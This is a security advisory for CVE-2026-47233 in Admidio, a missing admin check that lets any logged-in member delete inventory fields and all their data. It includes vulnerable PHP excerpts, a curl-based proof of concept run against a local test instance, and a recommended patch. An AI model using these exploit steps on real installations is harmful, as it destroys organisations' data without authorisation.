CVE-2026-47233: Admidio Any Logged-in User Can Delete Vulnerability

MODERATE
Advisory Identifier: GHSA-xw54-c3mx-9pm3
CVSS 6.5
CWE-862 CWE-1281
Published
Advisory Summary

CVE-2026-47233 is a MODERATE (CVSS 6.5) any logged-in user can delete vulnerability (CWE-862: Missing Authorization) affecting Admidio libraries in the Packagist ecosystem. The issue involves any logged-in user can delete inventory fields via `mode=field_delete` — incomplete fix of #2024. Remediation is available by upgrading affected packages to version 5.0.10.

CVE-2026-47233 at a Glance

CVE Identifier CVE-2026-47233
GHSA Identifier GHSA-xw54-c3mx-9pm3
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-862: Missing Authorization
Affected Product Admidio
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-47233

To remediate this vulnerability, upgrade all affected Admidio dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

admidio/admidio fixed: 5.0.10
Upgrade admidio/admidio to 5.0.10
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for admidio/admidio

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-47233, inspect your project dependencies for Admidio:

inspect dependencies for admidio/admidio

Analyze the terminal output to locate any version of Admidio in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.0.10), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In Admidio, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Commit `d37ca6b27b9674238e58491cf7ba292e66898f15` ("Delete item not check admin rights #2024", 2026-04-12) added a missing `isAdministratorInventory()` gate to `case 'item_delete':` in `modules/inventory.php`. The same fix was not applied to the sibling `case 'field_delete':` handler, which destroys an entire inventory field definition, cascading to every `adm_inventory_item_data` row that referenced that field and every `adm_inventory_field_options` entry. The handler validates only a session-bound CSRF token; there is no `isAdministratorInventory()` check at the controller level, and `Admidio\Inventory\Entity\ItemField::delete()` does not enforce one at the entity level either (unlike its sibling `ItemField::save()`, which does check `$gCurrentUser->isAdministrator()`). Any user who can log in to the site can permanently destroy a non-system inventory field by sending one POST. ## Details ### Vulnerable Code `modules/inventory.php` mode dispatch at the top of the file: ```php // modules/inventory.php:64-72 (top-level rights gate) if ($gSettingsManager->getInt('inventory_module_enabled') === 0) { throw new Exception('SYS_MODULE_DISABLED'); } elseif ($gSettingsManager->getInt('inventory_module_enabled') === 2 && !$gValidLogin || ($gSettingsManager->getInt('inventory_module_enabled') === 3 && !$gCurrentUser->isAdministratorInventory()) || ($gSettingsManager->getInt('inventory_module_enabled') === 4 && !InventoryPresenter::isCurrentUserKeeper() && !$gCurrentUser->isAdministratorInventory()) || ($gSettingsManager->getInt('inventory_module_enabled') === 5 && !$gCurrentUser->isAllowedToSeeInventory() && !$gCurrentUser->isAdministratorInventory())) { throw new Exception('SYS_NO_RIGHTS'); } ``` `inventory_module_enabled=2` is the default value (`install/db_scripts/preferences.php`: `'inventory_module_enabled' => '2',`). At this setting the only gate is `$gValidLogin` — any logged-in user reaches the switch. `modules/inventory.php:123-131` — `field_delete` only checks the session CSRF, not admin rights: ```php case 'field_delete': // check the CSRF token of the form against the session token SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); $itemFieldService = new ItemFieldService($gDb, $getinfUUID); $itemFieldService->delete(); echo json_encode(array('status' => 'success', 'message' => $gL10n->get('SYS_INVENTORY_ITEMFIELD_DELETED'))); break; ``` `SecurityUtils::validateCsrfToken` (`src/Infrastructure/Utils/SecurityUtils.php`) is a session-token compare: ```php public static function validateCsrfToken(string $csrfToken) { global $gCurrentSession; if ($csrfToken !== $gCurrentSession->getCsrfToken()) { throw new Exception('Invalid or missing CSRF token!'); } } ``` The token is the session's CSRF token, which the actor's own session prints on every page (it appears in `?mode=field_list`'s response in the `data-csrf` JSON callback). So a non-admin attacker has it for free. `src/Inventory/Service/ItemFieldService.php:46-49` — the service just delegates: ```php public function delete(): bool { return $this->itemFieldRessource->delete(); } ``` `src/Inventory/Entity/ItemField.php:54-88` — the entity's `delete()` blocks system fields via `inf_system==1` but otherwise has **no `isAdministrator()` check**: ```php public function delete(): bool { global $gCurrentOrgId; if ($this->getValue('inf_system') == 1) { // System fields could not be deleted throw new Exception('Item fields with the flag "system" could not be deleted.'); } $this->db->startTransaction(); // close gap in sequence $sql = 'UPDATE ' . TBL_INVENTORY_FIELDS . ' SET inf_sequence = inf_sequence - 1 ...'; $this->db->queryPrepared($sql, ...); // delete all data of this field in the item data table $sql = 'DELETE FROM ' . TBL_INVENTORY_ITEM_DATA . ' WHERE ind_inf_id = ? -- $infId'; $this->db->queryPrepared($sql, array($infId)); // delete all data of this field in the field select options table $sql = 'DELETE FROM ' . TBL_INVENTORY_FIELD_OPTIONS . ' WHERE ifo_inf_id = ? -- $infId'; $this->db->queryPrepared($sql, array($infId)); $return = parent::delete(); // DELETE FROM adm_inventory_fields WHERE inf_id = ? $this->db->endTransaction(); return $return; } ``` Compare with `ItemField::save()` at line 230, which *does* enforce admin: ```php public function save(bool $updateFingerPrint = true): bool { global $gCurrentUser, $gCurrentOrgId; // only administrators can edit item fields if (!$gCurrentUser->isAdministrator() && !$this->saveChangesWithoutRights) { throw new Exception('Item field could not be saved because only administrators are allowed to edit item fields.'); } ... } ``` The asymmetry is the bug: save is gated, delete is not. ### Sibling Handlers with the Same Shape Six other state-changing modes in the same file have the same "CSRF only, no `isAdministratorInventory()` check" structure. They are not the subject of *this* advisory but should be patched together when fixing the root cause: | line | mode | effect | |---:|---|---| | 123 | `field_delete` | this advisory | | 154 | `delete_option_entry` | removes a single option from a dropdown / radio field | | 171 | `sequence` | reorders fields | | 347 | `item_retire` | hides items from the active inventory | | 364 | `item_reinstate` | un-hides items | | 462 | `item_picture_delete` | deletes an item picture | Each of these is reachable by any logged-in user under the default `inventory_module_enabled=2`. ## PoC Tested live on HEAD `c5cde53` with PHP 8.4, MariaDB 11.8 backing on `127.0.0.1:3399`, Admidio served via `php -S 127.0.0.1:8085`. `inventory_module_enabled=2` (default install). A non-administrator user `lowuser` was created via the admin UI and given only the default `Member` role. The user has no `isAdministratorInventory()` right and is not configured as a keeper. A non-system test field `TESTFIELD` (uuid `cccccccc-2222-3333-4444-deadbeefcafe`) was created via SQL, with `inf_system=0`. ``` # starting state: lowuser is a regular Member; TESTFIELD exists $ mariadb -uroot -D admidio -e "SELECT inf_id, inf_uuid, inf_name_intern, inf_system FROM adm_inventory_fields WHERE inf_name_intern='TESTFIELD';" inf_id inf_uuid inf_name_intern inf_system 8 cccccccc-2222-3333-4444-deadbeefcafe TESTFIELD 0 # 1. login as lowuser $ curl -sb $cookie -L "http://127.0.0.1:8085/" -o /tmp/init.html $ csrf=$(grep -oE 'adm_csrf_token[^"]+value="[^"]+' /tmp/init.html | head -1 | sed 's/.*value="//') $ curl -sb $cookie \ --data-urlencode "adm_csrf_token=$csrf" \ --data-urlencode "plg_usr_login_name=lowuser" \ --data-urlencode "plg_usr_password=Lowpwd123!" \ "http://127.0.0.1:8085/system/login.php?mode=check" {"status":"success","url":"http://127.0.0.1:8085/modules/overview.php"} # 2. lowuser visits inventory's field_list page (this works under default # inventory_module_enabled=2 because $gValidLogin is true) # The response contains the session CSRF token in a data callback $ inv_csrf=$(curl -sb $cookie "http://127.0.0.1:8085/modules/inventory.php?mode=field_list" \ | grep -oE '"adm_csrf_token":\s*"[^"]+"' | head -1 \ | sed 's/.*"adm_csrf_token":\s*"//;s/"$//') # 3. lowuser sends field_delete targeting TESTFIELD $ curl -sb $cookie -X POST \ --data-urlencode "adm_csrf_token=$inv_csrf" \ "http://127.0.0.1:8085/modules/inventory.php?mode=field_delete&uuid=cccccccc-2222-3333-4444-deadbeefcafe" {"status":"success","message":"Item field successfully deleted"} # 4. verify $ mariadb -uroot -D admidio -e "SELECT inf_id, inf_uuid, inf_name_intern FROM adm_inventory_fields WHERE inf_name_intern='TESTFIELD';" (no rows) ``` The field is gone. `Admidio\Inventory\Entity\ItemField::delete()` ran the four statements (sequence-gap update, `DELETE FROM adm_inventory_item_data`, `DELETE FROM adm_inventory_field_options`, `DELETE FROM adm_inventory_fields`) and committed the transaction. lowuser is a regular Member, holds no inventory-administrator role, was not a keeper, and was not the field's creator. ## Impact A non-administrator user with the cheapest possible authentication (a normal organisation member account) can permanently destroy any custom inventory field configured by an administrator. Concretely: * Every per-item value stored against that field across the whole organisation is wiped (`DELETE FROM adm_inventory_item_data WHERE ind_inf_id = <field>`). * For dropdown / radio / multiselect fields, every option entry is wiped (`DELETE FROM adm_inventory_field_options WHERE ifo_inf_id = <field>`). * The field definition itself is removed; subsequent inventory exports / item lists silently drop the column. * There is no in-product undo. Recovery requires restoring from backup. In practice, a single attacker with one rogue regular-member account can iterate `field_list` to enumerate non-system fields and delete all of them in a few requests. The inventory module's stored data (item names, categories, statuses, custom fields) becomes unrecoverable without a database snapshot. `PR:L` because any logged-in member is enough; `S:U` because the impact stays inside Admidio's own data; `C:N` because the operation does not leak data; `I:H` because the field row plus all referencing rows are destroyed; `A:H` because the inventory module's user-defined schema is lost. The bug is a classic **incomplete fix**: commit `d37ca6b` patched the literal endpoint named in issue #2024 (`item_delete`) but did not sweep its siblings. The pattern was raised by the maintainers themselves in commit `12639a4` ("CSRF and Form Validation Bypass in Inventory Item Save via 'imported' Parameter") on `item_save`, again only on the literal reported endpoint. ## Recommended Fix Add an explicit `isAdministratorInventory()` check at the top of `case 'field_delete':` (and the sibling state-changing handlers listed above), matching the pattern that was applied to `item_delete` in `d37ca6b`: ```php // modules/inventory.php case 'field_delete': // check the CSRF token of the form against the session token SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); // check if user has admin rights for inventory <-- new if (!$gCurrentUser->isAdministratorInventory()) { throw new Exception('SYS_NO_RIGHTS'); } $itemFieldService = new ItemFieldService($gDb, $getinfUUID); $itemFieldService->delete(); echo json_encode(array('status' => 'success', 'message' => $gL10n->get('SYS_INVENTORY_ITEMFIELD_DELETED'))); break; ``` Apply the same patch to `delete_option_entry` (line 154), `sequence` (line 171), `item_retire` (line 347), `item_reinstate` (line 364), and `item_picture_delete` (line 462). For defense in depth, mirror the entity-level gate from `ItemField::save()` into `ItemField::delete()` at `src/Inventory/Entity/ItemField.php:54`: ```php public function delete(): bool { global $gCurrentUser, $gCurrentOrgId; if (!$gCurrentUser->isAdministrator() && !$this->saveChangesWithoutRights) { throw new Exception('Item field could not be deleted because only administrators are allowed to delete item fields.'); } if ($this->getValue('inf_system') == 1) { throw new Exception('Item fields with the flag "system" could not be deleted.'); } ... } ``` A regression test should log in as a non-administrator member, GET `inventory.php?mode=field_list`, post `mode=field_delete` with the captured session CSRF token, and assert the response is `SYS_NO_RIGHTS` rather than `success`.

CVE-2026-47233 Affected Admidio Versions

1 component(s)
Fixed Versions:
5.0.10
Product / Package Ecosystem Affected Versions Fixed Version
admidio/admidio
Packagist
< 5.0.10
5.0.10

References

Frequently Asked Questions

What is CVE-2026-47233?
CVE-2026-47233 is a security vulnerability in Admidio involving Any logged-in user can delete inventory fields via `mode=field_delete` — incomplete fix of #2024 under CWE-862: Missing Authorization.
Which Admidio versions are affected?
Affected versions include releases prior to 5.0.10 across affected packages: admidio/admidio.
What version fixes CVE-2026-47233?
Upgrading to 5.0.10 (or the latest patched release for your respective branch) resolves the vulnerability.
Is admidio/admidio affected?
Yes, admidio/admidio is affected in releases prior to 5.0.10. Upgrade your dependency to 5.0.10 or later.
What is the CVSS score of CVE-2026-47233?
CVE-2026-47233 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-47233?
CVE-2026-47233 is classified under CWE-862: Missing Authorization (The product does not perform an authorization check when an actor attempts to access a resource or perform an action.).
How can I check Packagist dependencies for CVE-2026-47233?
Run the dependency tree command: 'inspect dependencies for admidio/admidio'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xw54-c3mx-9pm3",
  "modified" : "2026-05-29T22:09:38Z",
  "published" : "2026-05-29T22:09:38Z",
  "aliases" : [ "CVE-2026-47233" ],
  "summary" : "Admidio: Any logged-in user can delete inventory fields via `mode=field_delete` — incomplete fix of #2024",
  "details" : "## Summary\n\nCommit `d37ca6b27b9674238e58491cf7ba292e66898f15` (\"Delete item not check admin rights #2024\", 2026-04-12) added a missing `isAdministratorInventory()` gate to `case 'item_delete':` in `modules/inventory.php`. The same fix was not applied to the sibling `case 'field_delete':` handler, which destroys an entire inventory field definition, cascading to every `adm_inventory_item_data` row that referenced that field and every `adm_inventory_field_options` entry. The handler validates only a session-bound CSRF token; there is no `isAdministratorInventory()` check at the controller level, and `Admidio\\Inventory\\Entity\\ItemField::delete()` does not enforce one at the entity level either (unlike its sibling `ItemField::save()`, which does check `$gCurrentUser->isAdministrator()`). Any user who can log in to the site can permanently destroy a non-system inventory field by sending one POST.\n\n## Details\n\n### Vulnerable Code\n\n`modules/inventory.php` mode dispatch at the top of the file:\n\n```php\n// modules/inventory.php:64-72  (top-level rights gate)\nif ($gSettingsManager->getInt('inventory_module_enabled') === 0) {\n    throw new Exception('SYS_MODULE_DISABLED');\n} elseif ($gSettingsManager->getInt('inventory_module_enabled') === 2 && !$gValidLogin\n    || ($gSettingsManager->getInt('inventory_module_enabled') === 3 && !$gCurrentUser->isAdministratorInventory())\n    || ($gSettingsManager->getInt('inventory_module_enabled') === 4 && !InventoryPresenter::isCurrentUserKeeper() && !$gCurrentUser->isAdministratorInventory())\n    || ($gSettingsManager->getInt('inventory_module_enabled') === 5 && !$gCurrentUser->isAllowedToSeeInventory() && !$gCurrentUser->isAdministratorInventory())) {\n    throw new Exception('SYS_NO_RIGHTS');\n}\n```\n\n`inventory_module_enabled=2` is the default value (`install/db_scripts/preferences.php`: `'inventory_module_enabled' => '2',`). At this setting the only gate is `$gValidLogin` — any logged-in user reaches the switch.\n\n`modules/inventory.php:123-131` — `field_delete` only checks the session CSRF, not admin rights:\n\n```php\ncase 'field_delete':\n    // check the CSRF token of the form against the session token\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n\n    $itemFieldService = new ItemFieldService($gDb, $getinfUUID);\n    $itemFieldService->delete();\n\n    echo json_encode(array('status' => 'success', 'message' => $gL10n->get('SYS_INVENTORY_ITEMFIELD_DELETED')));\n    break;\n```\n\n`SecurityUtils::validateCsrfToken` (`src/Infrastructure/Utils/SecurityUtils.php`) is a session-token compare:\n\n```php\npublic static function validateCsrfToken(string $csrfToken)\n{\n    global $gCurrentSession;\n    if ($csrfToken !== $gCurrentSession->getCsrfToken()) {\n        throw new Exception('Invalid or missing CSRF token!');\n    }\n}\n```\n\nThe token is the session's CSRF token, which the actor's own session prints on every page (it appears in `?mode=field_list`'s response in the `data-csrf` JSON callback). So a non-admin attacker has it for free.\n\n`src/Inventory/Service/ItemFieldService.php:46-49` — the service just delegates:\n\n```php\npublic function delete(): bool\n{\n    return $this->itemFieldRessource->delete();\n}\n```\n\n`src/Inventory/Entity/ItemField.php:54-88` — the entity's `delete()` blocks system fields via `inf_system==1` but otherwise has **no `isAdministrator()` check**:\n\n```php\npublic function delete(): bool\n{\n    global $gCurrentOrgId;\n\n    if ($this->getValue('inf_system') == 1) {\n        // System fields could not be deleted\n        throw new Exception('Item fields with the flag \"system\" could not be deleted.');\n    }\n\n    $this->db->startTransaction();\n\n    // close gap in sequence\n    $sql = 'UPDATE ' . TBL_INVENTORY_FIELDS . ' SET inf_sequence = inf_sequence - 1 ...';\n    $this->db->queryPrepared($sql, ...);\n\n    // delete all data of this field in the item data table\n    $sql = 'DELETE FROM ' . TBL_INVENTORY_ITEM_DATA . ' WHERE ind_inf_id = ? -- $infId';\n    $this->db->queryPrepared($sql, array($infId));\n\n    // delete all data of this field in the field select options table\n    $sql = 'DELETE FROM ' . TBL_INVENTORY_FIELD_OPTIONS . ' WHERE ifo_inf_id = ? -- $infId';\n    $this->db->queryPrepared($sql, array($infId));\n\n    $return = parent::delete();        // DELETE FROM adm_inventory_fields WHERE inf_id = ?\n\n    $this->db->endTransaction();\n    return $return;\n}\n```\n\nCompare with `ItemField::save()` at line 230, which *does* enforce admin:\n\n```php\npublic function save(bool $updateFingerPrint = true): bool\n{\n    global $gCurrentUser, $gCurrentOrgId;\n\n    // only administrators can edit item fields\n    if (!$gCurrentUser->isAdministrator() && !$this->saveChangesWithoutRights) {\n        throw new Exception('Item field could not be saved because only administrators are allowed to edit item fields.');\n    }\n    ...\n}\n```\n\nThe asymmetry is the bug: save is gated, delete is not.\n\n### Sibling Handlers with the Same Shape\n\nSix other state-changing modes in the same file have the same \"CSRF only, no `isAdministratorInventory()` check\" structure. They are not the subject of *this* advisory but should be patched together when fixing the root cause:\n\n| line | mode | effect |\n|---:|---|---|\n| 123 | `field_delete` | this advisory |\n| 154 | `delete_option_entry` | removes a single option from a dropdown / radio field |\n| 171 | `sequence` | reorders fields |\n| 347 | `item_retire` | hides items from the active inventory |\n| 364 | `item_reinstate` | un-hides items |\n| 462 | `item_picture_delete` | deletes an item picture |\n\nEach of these is reachable by any logged-in user under the default `inventory_module_enabled=2`.\n\n## PoC\n\nTested live on HEAD `c5cde53` with PHP 8.4, MariaDB 11.8 backing on `127.0.0.1:3399`, Admidio served via `php -S 127.0.0.1:8085`. `inventory_module_enabled=2` (default install).\n\nA non-administrator user `lowuser` was created via the admin UI and given only the default `Member` role. The user has no `isAdministratorInventory()` right and is not configured as a keeper. A non-system test field `TESTFIELD` (uuid `cccccccc-2222-3333-4444-deadbeefcafe`) was created via SQL, with `inf_system=0`.\n\n```\n# starting state: lowuser is a regular Member; TESTFIELD exists\n$ mariadb -uroot -D admidio -e \"SELECT inf_id, inf_uuid, inf_name_intern, inf_system FROM adm_inventory_fields WHERE inf_name_intern='TESTFIELD';\"\ninf_id  inf_uuid                                inf_name_intern  inf_system\n8       cccccccc-2222-3333-4444-deadbeefcafe    TESTFIELD        0\n\n# 1. login as lowuser\n$ curl -sb $cookie -L \"http://127.0.0.1:8085/\" -o /tmp/init.html\n$ csrf=$(grep -oE 'adm_csrf_token[^\"]+value=\"[^\"]+' /tmp/init.html | head -1 | sed 's/.*value=\"//')\n$ curl -sb $cookie \\\n    --data-urlencode \"adm_csrf_token=$csrf\" \\\n    --data-urlencode \"plg_usr_login_name=lowuser\" \\\n    --data-urlencode \"plg_usr_password=Lowpwd123!\" \\\n    \"http://127.0.0.1:8085/system/login.php?mode=check\"\n{\"status\":\"success\",\"url\":\"http://127.0.0.1:8085/modules/overview.php\"}\n\n# 2. lowuser visits inventory's field_list page (this works under default\n#    inventory_module_enabled=2 because $gValidLogin is true)\n#    The response contains the session CSRF token in a data callback\n$ inv_csrf=$(curl -sb $cookie \"http://127.0.0.1:8085/modules/inventory.php?mode=field_list\" \\\n              | grep -oE '\"adm_csrf_token\":\\s*\"[^\"]+\"' | head -1 \\\n              | sed 's/.*\"adm_csrf_token\":\\s*\"//;s/\"$//')\n\n# 3. lowuser sends field_delete targeting TESTFIELD\n$ curl -sb $cookie -X POST \\\n    --data-urlencode \"adm_csrf_token=$inv_csrf\" \\\n    \"http://127.0.0.1:8085/modules/inventory.php?mode=field_delete&uuid=cccccccc-2222-3333-4444-deadbeefcafe\"\n{\"status\":\"success\",\"message\":\"Item field successfully deleted\"}\n\n# 4. verify\n$ mariadb -uroot -D admidio -e \"SELECT inf_id, inf_uuid, inf_name_intern FROM adm_inventory_fields WHERE inf_name_intern='TESTFIELD';\"\n(no rows)\n```\n\nThe field is gone. `Admidio\\Inventory\\Entity\\ItemField::delete()` ran the four statements (sequence-gap update, `DELETE FROM adm_inventory_item_data`, `DELETE FROM adm_inventory_field_options`, `DELETE FROM adm_inventory_fields`) and committed the transaction. lowuser is a regular Member, holds no inventory-administrator role, was not a keeper, and was not the field's creator.\n\n## Impact\n\nA non-administrator user with the cheapest possible authentication (a normal organisation member account) can permanently destroy any custom inventory field configured by an administrator. Concretely:\n\n* Every per-item value stored against that field across the whole organisation is wiped (`DELETE FROM adm_inventory_item_data WHERE ind_inf_id = <field>`).\n* For dropdown / radio / multiselect fields, every option entry is wiped (`DELETE FROM adm_inventory_field_options WHERE ifo_inf_id = <field>`).\n* The field definition itself is removed; subsequent inventory exports / item lists silently drop the column.\n* There is no in-product undo. Recovery requires restoring from backup.\n\nIn practice, a single attacker with one rogue regular-member account can iterate `field_list` to enumerate non-system fields and delete all of them in a few requests. The inventory module's stored data (item names, categories, statuses, custom fields) becomes unrecoverable without a database snapshot.\n\n`PR:L` because any logged-in member is enough; `S:U` because the impact stays inside Admidio's own data; `C:N` because the operation does not leak data; `I:H` because the field row plus all referencing rows are destroyed; `A:H` because the inventory module's user-defined schema is lost.\n\nThe bug is a classic **incomplete fix**: commit `d37ca6b` patched the literal endpoint named in issue #2024 (`item_delete`) but did not sweep its siblings. The pattern was raised by the maintainers themselves in commit `12639a4` (\"CSRF and Form Validation Bypass in Inventory Item Save via 'imported' Parameter\") on `item_save`, again only on the literal reported endpoint.\n\n## Recommended Fix\n\nAdd an explicit `isAdministratorInventory()` check at the top of `case 'field_delete':` (and the sibling state-changing handlers listed above), matching the pattern that was applied to `item_delete` in `d37ca6b`:\n\n```php\n// modules/inventory.php\ncase 'field_delete':\n    // check the CSRF token of the form against the session token\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n\n    // check if user has admin rights for inventory   <-- new\n    if (!$gCurrentUser->isAdministratorInventory()) {\n        throw new Exception('SYS_NO_RIGHTS');\n    }\n\n    $itemFieldService = new ItemFieldService($gDb, $getinfUUID);\n    $itemFieldService->delete();\n\n    echo json_encode(array('status' => 'success', 'message' => $gL10n->get('SYS_INVENTORY_ITEMFIELD_DELETED')));\n    break;\n```\n\nApply the same patch to `delete_option_entry` (line 154), `sequence` (line 171), `item_retire` (line 347), `item_reinstate` (line 364), and `item_picture_delete` (line 462).\n\nFor defense in depth, mirror the entity-level gate from `ItemField::save()` into `ItemField::delete()` at `src/Inventory/Entity/ItemField.php:54`:\n\n```php\npublic function delete(): bool\n{\n    global $gCurrentUser, $gCurrentOrgId;\n\n    if (!$gCurrentUser->isAdministrator() && !$this->saveChangesWithoutRights) {\n        throw new Exception('Item field could not be deleted because only administrators are allowed to delete item fields.');\n    }\n\n    if ($this->getValue('inf_system') == 1) {\n        throw new Exception('Item fields with the flag \"system\" could not be deleted.');\n    }\n    ...\n}\n```\n\nA regression test should log in as a non-administrator member, GET `inventory.php?mode=field_list`, post `mode=field_delete` with the captured session CSRF token, and assert the response is `SYS_NO_RIGHTS` rather than `success`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "admidio/admidio"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.0.10"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.0.9"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Admidio/admidio/security/advisories/GHSA-xw54-c3mx-9pm3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Admidio/admidio"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1281", "CWE-862" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-29T22:09:38Z",
    "nvd_published_at" : null
  }
}